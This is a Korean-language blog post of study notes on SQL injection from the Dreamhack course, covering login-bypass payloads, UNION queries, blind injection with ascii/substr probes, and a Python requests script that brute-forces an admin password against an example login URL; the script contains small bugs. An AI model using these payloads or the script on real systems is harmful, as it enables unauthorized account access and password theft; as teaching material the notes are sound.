Dreamhack

SQL Injection(1)

kchabin 2022. 8. 11. 22:54

DBMS에 관리하는 데이터베이스에는 회원 계정, 비밀글과 같이 민감한 정보가 포함되어 있을 수 있다.

공격자는 데이터베이스 파일 탈취, SQL Injection 공격 등으로 해당 정보를 탈취 및 악용할 수 있다.

 

인젝션(Injection)

주입이라는 의미를 가진 영단어.

이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점

올바르지 않은 요청을 보내 공장 물품을 전부 빼앗으려 한다.

이용자가 악의적인 입력값을 주입해 의도치 않은 행위를 일으키는 것을 인젝션이라고 한다.

/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'

user_pw 조건문이 사라지도록 조작했다. ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있다. 

 

실습 

SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';

조건 1 : uid가 "admin"인 데이터  -> admin의 결과 반환

조건 2 : 이전 식이 참(True)이고, upw가 없는 경우  -> 아무런 결과 반환 x

 

uid가 "admin"인 데이터를 반환하기 때문에 관리자 계정으로 로그인할 수 있다. 

주석( -- , #, /**/) 을 사용하는 등 다양한 방법으로 SQL Injection 시도 가능

 

SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';

SQL UNION Example

UNION : 두 개 이상의 select문의 결과를 합쳐야할 때 사용. 

-union = 중복 제거 출력

- union all = 중복 제거 x

ORDER BY 키워드 : 결과를 오름차순/내림차순으로 정렬

각각 Customers와 Suppliers 테이블에서 country를 알파벳 순으로 정렬해서 출력하는 쿼리문.

 

Blind SQL Injection 기법

질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격기법.

스무고개와 비슷함

 

ascii 

전달된 문자를 아스키 형태로 반환하는 함수

ascii('a') = 97

 

substr

문자열에서 지정한 위치부터 길이까지의 값을 가져온다.

substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; #False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; #True

# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True

파이썬 HTTP 통신 모듈 : requests

 

Blind SQL Injection 공격 스크립트

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 예제 코드

requsets.get = GET 메소드를 통해 HTTP 요청을 보내는 함수로, URL과 Header, Parameter와 함께 요청을 전송할 수 있다.

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

URL, Header, Body와 함께 요청을 전송할 수 있다.

 

 

#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
    'uid': '',
    'upw': ''
}
tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

비밀번호에 포함될 수 있는 문자를 string 모듈로 생성.

한 바이트씩 모든 문자를 비교하는 반복문 작성.

반복문 실행 중에 반환 결과가 참일 경우 페이지에 표시되는 "Login success" 문자열을 찾고, 해당 결과를 반환한 문자를 Password 변수에 저장한다. 

반복문을 마치면 "admin" 계정의 비밀번호를 알아낼 수 있다. 

 

 

'Dreamhack' 카테고리의 다른 글

No SQL Injection 실습  (0) 2022.08.11
SQL Injection(2)  (0) 2022.08.11
SQL  (0) 2022.08.11
CSRF 실습  (0) 2022.08.05
암호학 Stage 4  (0) 2022.08.05